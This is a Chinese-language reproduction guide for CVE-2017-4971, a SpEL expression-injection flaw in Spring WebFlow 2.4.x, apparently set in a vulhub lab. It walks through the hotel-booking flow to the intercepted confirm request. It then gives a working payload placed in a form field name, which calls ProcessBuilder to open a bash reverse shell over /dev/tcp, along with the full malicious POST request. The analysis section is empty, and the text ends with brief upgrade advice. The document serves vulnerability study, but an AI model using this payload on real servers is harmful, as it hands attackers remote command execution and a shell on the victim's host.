CVE-2017-4971(Spring WebFlow 2.4.x 任意代码执行)
1. 漏洞描述
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x
版本中,如果我们控制了数据绑定时的field,将导致一个SpEL
表达式注入漏洞,最终造成任意命令执行。
2. 影响版本
Spring WebFlow 2.4.x
3. 漏洞复现
3.1 访问登录页
访问http://your_ip:8080/login

使用左边提供的账号/密码登录。
3.2 进入登录后界面

输入1
,访问id为1的酒店http://your-ip:8080/hotels/1
,点击预订按钮“Book Hotel”,
3.3 进入操作页

3.4 填写相关信息
在我们点击Proceed
是WebFlow就已经正式开始了,我们在点击confirm
这里抓包。


3.5 对WebFlow提交抓包
Payload:
1
| _(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/(ip)/(port)+0>%261")).start()=vulhub
|
初始数据包:

添加恶意代码的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /hotels/booking?execution=e1s2 HTTP/1.1 Host: ip:8080 Content-Length: 171 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://8.136.241.0:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://ip:8080/hotels/booking?execution=e1s2 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=E63CB0BF504B7495BC21C39E59E466C9 x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 Connection: close
_eventId_confirm=&_csrf=85eea852-4974-41bb-b0e8-56dd6b74f3d3&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/(ip)/(port)+0>%261")).start()=vulhub
|

3.6 结果

4. 漏洞分析
…
5. 修复建议
官方已经发布了新版本,请受影响的2.4.X用户及时更新升级至最新的2.4.5版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。